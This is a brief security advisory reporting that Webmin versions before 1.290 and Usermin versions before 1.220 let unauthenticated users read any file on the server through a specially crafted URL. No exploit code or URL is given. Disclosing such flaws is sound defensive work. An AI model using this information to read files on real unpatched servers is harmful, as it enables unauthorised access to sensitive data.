                                A vulnerability has been reported in Webmin and Usermin, which can be
                                exploited by malicious people to disclose potentially sensitive information.
                                The vulnerability is caused due to an unspecified error within the handling
                                of an URL. This can be exploited to read the contents of any files on the
                                server via a specially crafted URL, without requiring a valid login.
                                The vulnerability has been reported in Webmin (versions prior to 1.290) and
                                Usermin (versions prior to 1.220).
